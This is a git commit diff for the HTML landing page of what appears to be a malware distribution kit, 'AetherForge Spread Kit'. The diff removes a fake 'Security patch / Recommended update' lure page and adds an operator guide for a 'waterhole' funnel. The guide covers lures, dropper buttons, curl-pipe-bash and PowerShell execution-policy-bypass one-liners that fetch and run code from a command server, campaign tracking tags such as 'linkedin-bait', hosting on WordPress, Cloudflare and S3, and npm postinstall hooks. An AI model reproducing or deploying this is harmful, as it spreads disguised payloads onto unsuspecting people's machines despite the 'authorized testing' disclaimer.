feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
@@ -3,38 +3,290 @@
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>System Update</title>
|
||||
<meta name="description" content="AetherForge spread kit — static waterhole landing for authorized red-team and lab distribution." />
|
||||
<title>AetherForge Spread Kit</title>
|
||||
<link rel="stylesheet" href="assets/aether.css" />
|
||||
</head>
|
||||
<body>
|
||||
<main class="shell">
|
||||
<nav class="topnav">
|
||||
<a class="brand" href="#">Spread Kit</a>
|
||||
<div class="nav-links">
|
||||
<a href="#install">Install</a>
|
||||
<a href="#campaigns">Campaigns</a>
|
||||
<a href="#cms">CMS upload</a>
|
||||
<a href="#plugins">Plugins</a>
|
||||
<a href="/docs/SPREAD_TECHNIQUES.md">Docs wiki</a>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<header class="hero">
|
||||
<p class="eyebrow">Security patch</p>
|
||||
<h1>Recommended update available</h1>
|
||||
<p class="lede">Your environment requires a small compatibility fix. Choose your platform below — installation is automatic.</p>
|
||||
<p class="eyebrow">AetherForge · Emberwake</p>
|
||||
<h1>Spread kit — static waterhole landing</h1>
|
||||
<p class="lede">
|
||||
Upload this folder to any host you control. Visitors pick their platform; installers pull from your
|
||||
command-deck server with optional campaign and build-pin tracking.
|
||||
</p>
|
||||
</header>
|
||||
<section class="actions" id="actions">
|
||||
<a class="btn btn-win" id="btn-win" href="install.ps1{{QUERY_SUFFIX}}">Windows</a>
|
||||
<a class="btn btn-nix" id="btn-nix" href="install.sh{{QUERY_SUFFIX}}">Linux</a>
|
||||
<a class="btn btn-mac" id="btn-mac" href="install.command{{QUERY_SUFFIX}}">macOS</a>
|
||||
<a class="btn btn-dl" id="btn-dl" href="{{SERVER_URL}}/get{{QUERY_SUFFIX}}">Direct download</a>
|
||||
|
||||
<section class="section" id="how">
|
||||
<h2>How it works</h2>
|
||||
<div class="flow" aria-label="Spread funnel">
|
||||
<span class="flow-node">Lure / ad / email</span>
|
||||
<span class="flow-arrow">→</span>
|
||||
<span class="flow-node">Your static page</span>
|
||||
<span class="flow-arrow">→</span>
|
||||
<span class="flow-node">install.ps1 / .sh / .command</span>
|
||||
<span class="flow-arrow">→</span>
|
||||
<span class="flow-node">Server <code class="inline">/get</code></span>
|
||||
<span class="flow-arrow">→</span>
|
||||
<span class="flow-node">Agent checks in</span>
|
||||
</div>
|
||||
<p style="margin-top: 1rem;">
|
||||
The page does not host binaries — it only links to your AetherForge server dropper endpoints.
|
||||
Campaign tags flow from the URL into installer scripts and appear in the fleet dashboard on first connect.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="steps">
|
||||
<h2>Operator — 3 steps</h2>
|
||||
<div class="steps">
|
||||
<article class="step">
|
||||
<strong>Forge & pin</strong>
|
||||
<span>
|
||||
Build an installer in the command deck. Pin the build you want for this wave (Builds → pin).
|
||||
Note the build UUID for A/B tests.
|
||||
</span>
|
||||
</article>
|
||||
<article class="step">
|
||||
<strong>Export or sync</strong>
|
||||
<span>
|
||||
Emberwake → set server URL + campaign → <em>Export spread kit ZIP</em>, or copy
|
||||
<code class="inline">spread-kit-web-publisher/</code> and replace placeholders.
|
||||
Upload all files to your static host root or subpath.
|
||||
</span>
|
||||
</article>
|
||||
<article class="step">
|
||||
<strong>Share with tracking</strong>
|
||||
<span>
|
||||
Distribute <code class="inline">https://yoursite/page?c=campaign-slug</code>.
|
||||
Watch hits under Emberwake → Campaign hits and agent <code class="inline">campaign</code> metadata.
|
||||
</span>
|
||||
</article>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="section" id="install">
|
||||
<h2>Platform install</h2>
|
||||
<p>Auto-highlights your OS. All links include configured server URL and query suffix from export.</p>
|
||||
<div class="platform-grid" id="actions">
|
||||
<article class="platform-card">
|
||||
<header>
|
||||
<span class="platform-icon platform-icon--win" aria-hidden="true"></span>
|
||||
<h3>Windows</h3>
|
||||
</header>
|
||||
<p>PowerShell dropper — downloads pinned build or latest Windows artifact via <code class="inline">/get?os=windows</code>.</p>
|
||||
<a class="btn btn-win" id="btn-win" data-installer="install.ps1" href="install.ps1{{QUERY_SUFFIX}}">Run install.ps1</a>
|
||||
</article>
|
||||
<article class="platform-card">
|
||||
<header>
|
||||
<span class="platform-icon platform-icon--nix" aria-hidden="true"></span>
|
||||
<h3>Linux</h3>
|
||||
</header>
|
||||
<p>Shell dropper for desktops and servers — pipes <code class="inline">install.sh</code> from your command deck.</p>
|
||||
<a class="btn btn-nix" id="btn-nix" data-installer="install.sh" href="install.sh{{QUERY_SUFFIX}}">Run install.sh</a>
|
||||
</article>
|
||||
<article class="platform-card">
|
||||
<header>
|
||||
<span class="platform-icon platform-icon--mac" aria-hidden="true"></span>
|
||||
<h3>macOS</h3>
|
||||
</header>
|
||||
<p>Double-click <code class="inline">.command</code> or curl one-liner; same pipeline as Linux with macOS UA routing.</p>
|
||||
<a class="btn btn-mac" id="btn-mac" data-installer="install.command" href="install.command{{QUERY_SUFFIX}}">Run install.command</a>
|
||||
</article>
|
||||
<article class="platform-card">
|
||||
<header>
|
||||
<span class="platform-icon platform-icon--srv" aria-hidden="true"></span>
|
||||
<h3>Server (curl)</h3>
|
||||
</header>
|
||||
<p>Headless VPS / CI — paste in SSH session. No browser required.</p>
|
||||
<a class="btn btn-dl" id="btn-dl" href="{{SERVER_URL}}/get{{QUERY_SUFFIX}}">Direct /get download</a>
|
||||
</article>
|
||||
</div>
|
||||
<h3>One-liners</h3>
|
||||
<p class="form-hint" style="color: var(--muted); margin: 0 0 0.5rem;">Copy for docs pages, tickets, or IRC.</p>
|
||||
<code class="codeblock" id="oneliner-bash">curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash</code>
|
||||
<code class="codeblock" id="oneliner-ps1" style="margin-top: 0.5rem;">powershell -ep bypass -c "iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')"</code>
|
||||
</section>
|
||||
|
||||
<section class="section" id="campaigns">
|
||||
<h2>Campaign tracking</h2>
|
||||
<p>
|
||||
Append query parameters to any waterhole URL, dropper script URL, or <code class="inline">/get</code> link.
|
||||
The server logs the hit; agents inherit the campaign on install.
|
||||
</p>
|
||||
<div class="info-grid info-grid--2">
|
||||
<article class="info-card info-card--ember">
|
||||
<h3><code class="inline">?c=</code> campaign slug</h3>
|
||||
<ul>
|
||||
<li>Tags the funnel wave — e.g. <code class="inline">?c=linkedin-bait</code></li>
|
||||
<li>Shown in Emberwake → Campaign hits</li>
|
||||
<li>Stored on agent as <code class="inline">campaign</code> metadata</li>
|
||||
<li>Slug: alphanumeric, dash, underscore, dot — max 64 chars</li>
|
||||
</ul>
|
||||
</article>
|
||||
<article class="info-card info-card--cyan">
|
||||
<h3><code class="inline">?pin=</code> build UUID</h3>
|
||||
<ul>
|
||||
<li>Locks dropper to a specific forged build</li>
|
||||
<li>Use for A/B: pin build A, share <code class="inline">?pin=<uuid-a>&c=wave-a</code></li>
|
||||
<li>Combine with <code class="inline">?c=</code>: <code class="inline">?pin=…&c=…</code></li>
|
||||
<li>Emberwake campaign builder copies ready-made links</li>
|
||||
</ul>
|
||||
</article>
|
||||
</div>
|
||||
<div class="table-wrap">
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>Example URL</th><th>Use</th></tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td><code class="inline">https://yoursite.example/?c=usb-drop</code></td>
|
||||
<td>Static page; scripts read <code class="inline">location.search</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code class="inline">{{SERVER_URL}}/get?c=docs-footer</code></td>
|
||||
<td>Direct binary fetch with attribution</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code class="inline">{{SERVER_URL}}/install.ps1?pin={{BUILD_ID}}&c=ab-test-b</code></td>
|
||||
<td>Pinned build + campaign on PS1 one-liner</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<p>
|
||||
<span class="tag">Tip</span>
|
||||
See <a href="campaigns/README.md">campaigns/README.md</a> in the kit ZIP for rotation playbooks.
|
||||
Full matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="cms">
|
||||
<h2>CMS & static host upload</h2>
|
||||
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
|
||||
<ol class="cms-list">
|
||||
<li>
|
||||
<strong>WordPress — Custom HTML block</strong>
|
||||
<p>
|
||||
Pages → Add block → <em>Custom HTML</em>. Upload <code class="inline">index.html</code> assets via Media Library
|
||||
or paste a trimmed hero + platform section. Host <code class="inline">install.ps1</code> / <code class="inline">install.sh</code>
|
||||
in the same directory via SFTP or a child theme <code class="inline">/spread/</code> folder. Link buttons to absolute
|
||||
URLs on that path. Keep <code class="inline">assets/aether.css</code> relative.
|
||||
</p>
|
||||
</li>
|
||||
<li>
|
||||
<strong>Cloudflare Pages</strong>
|
||||
<p>
|
||||
Create project → connect repo or drag-drop ZIP → set build output to kit root.
|
||||
Publish at <code class="inline">pages.dev</code> or your zone CNAME. No server config — pure static.
|
||||
Optional: Workers in front for geo/UA gate (see docs wiki).
|
||||
</p>
|
||||
</li>
|
||||
<li>
|
||||
<strong>Amazon S3 + CloudFront</strong>
|
||||
<p>
|
||||
Create bucket → enable static website or OAI to CloudFront → upload all kit files preserving
|
||||
<code class="inline">assets/</code> path. Set <code class="inline">index.html</code> as default root object.
|
||||
Invalidate cache after each Emberwake export. Use a separate bucket from command-deck artifacts.
|
||||
</p>
|
||||
</li>
|
||||
</ol>
|
||||
<p>
|
||||
After upload, test each platform button and verify campaign hits in Emberwake when appending
|
||||
<code class="inline">?c=test</code> to the live URL.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="plugins">
|
||||
<h2>Plugin supply chain (owned extension)</h2>
|
||||
<p>
|
||||
For browser, editor, <strong>WordPress</strong>, or <strong>npm</strong> packages you <em>publish</em>, ship a
|
||||
legitimate update package that points download/install flows at <em>your</em> server — not third-party registry hijacking.
|
||||
</p>
|
||||
<div class="info-card info-card--violet">
|
||||
<h3>High-level pattern</h3>
|
||||
<ul>
|
||||
<li><strong>WordPress (owned site):</strong> Emberwake → <em>Export WordPress Plugin ZIP</em> → upload on your WP host. Plugin links to <code class="inline">/get?c=wp-{site}</code>. <a href="/docs/#wordpress-plugin-supply-chain">Docs wiki §</a></li>
|
||||
<li><strong>npm (your registry):</strong> Emberwake → <em>Export npm package template ZIP</em> → publish privately; <code class="inline">postinstall</code> curls <code class="inline">install.sh</code>. <a href="/docs/#npm-postinstall-helper">Docs wiki §</a></li>
|
||||
<li><strong>Host your own plugin ZIP</strong> on the same static origin as this kit (or GitHub Releases you control).</li>
|
||||
<li>Manifest / update URL fields reference your <code class="inline">install.ps1</code> or <code class="inline">/get</code> endpoint with <code class="inline">?c=plugin-update</code>.</li>
|
||||
<li>Extension logic opens your spread landing or triggers the platform dropper — user still confirms install (modern browsers block silent sideload).</li>
|
||||
<li>Rotate update manifests between waves; pin builds with <code class="inline">?pin=</code> for staged rollouts.</li>
|
||||
<li>Keep signing keys and update XML on infrastructure separate from the command-deck process when possible.</li>
|
||||
</ul>
|
||||
</div>
|
||||
<p>
|
||||
Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels
|
||||
<em>you</em> operate. See
|
||||
<a href="/docs/SPREAD_TECHNIQUES.md#third-party-platforms">third-party platforms</a> in the docs wiki for risk notes.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<footer class="fine">
|
||||
<p>Having trouble? Run in terminal:</p>
|
||||
<code id="oneliner">curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash</code>
|
||||
<p>
|
||||
Command-deck copy: <a href="/spread/">/spread/</a> ·
|
||||
Docs: <a href="/docs/">/docs/</a> ·
|
||||
Export fresh kits from <strong>Emberwake</strong> after each forge.
|
||||
</p>
|
||||
<p>AetherForge — authorized testing and lab use only.</p>
|
||||
</footer>
|
||||
</main>
|
||||
|
||||
<script>
|
||||
(function () {
|
||||
var SERVER = '{{SERVER_URL}}';
|
||||
if (SERVER.indexOf('{{') === 0) {
|
||||
SERVER = window.location.origin;
|
||||
}
|
||||
|
||||
var pageQs = window.location.search || '';
|
||||
var suffix = '{{QUERY_SUFFIX}}';
|
||||
if (suffix.indexOf('{{') === 0) {
|
||||
suffix = pageQs;
|
||||
} else if (pageQs && suffix.indexOf('?') !== 0) {
|
||||
suffix = pageQs;
|
||||
}
|
||||
|
||||
function withSuffix(path) {
|
||||
if (!suffix) return path;
|
||||
if (path.indexOf('?') >= 0) return path + suffix.replace('?', '&');
|
||||
return path + suffix;
|
||||
}
|
||||
|
||||
document.querySelectorAll('[data-installer]').forEach(function (el) {
|
||||
var file = el.getAttribute('data-installer');
|
||||
el.href = file + (suffix || '');
|
||||
});
|
||||
|
||||
var dl = document.getElementById('btn-dl');
|
||||
if (dl) dl.href = withSuffix(SERVER + '/get');
|
||||
|
||||
var bash = document.getElementById('oneliner-bash');
|
||||
var ps1 = document.getElementById('oneliner-ps1');
|
||||
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
|
||||
if (ps1) ps1.textContent = 'powershell -ep bypass -c "iex (irm \'' + SERVER + '/install.ps1' + suffix + '\')"';
|
||||
|
||||
var ua = navigator.userAgent || '';
|
||||
var win = /windows/i.test(ua);
|
||||
var mac = /macintosh|mac os x/i.test(ua);
|
||||
var nix = /linux/i.test(ua) && !/android/i.test(ua);
|
||||
if (win) document.getElementById('btn-win').classList.add('primary');
|
||||
else if (mac) document.getElementById('btn-mac').classList.add('primary');
|
||||
else if (nix) document.getElementById('btn-nix').classList.add('primary');
|
||||
if (win) document.getElementById('oneliner').textContent =
|
||||
"powershell -ep bypass -c \"iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')\"";
|
||||
var primary = win ? 'btn-win' : mac ? 'btn-mac' : nix ? 'btn-nix' : null;
|
||||
if (primary) {
|
||||
var btn = document.getElementById(primary);
|
||||
if (btn) btn.classList.add('primary');
|
||||
}
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
|
||||
Reference in New Issue
Block a user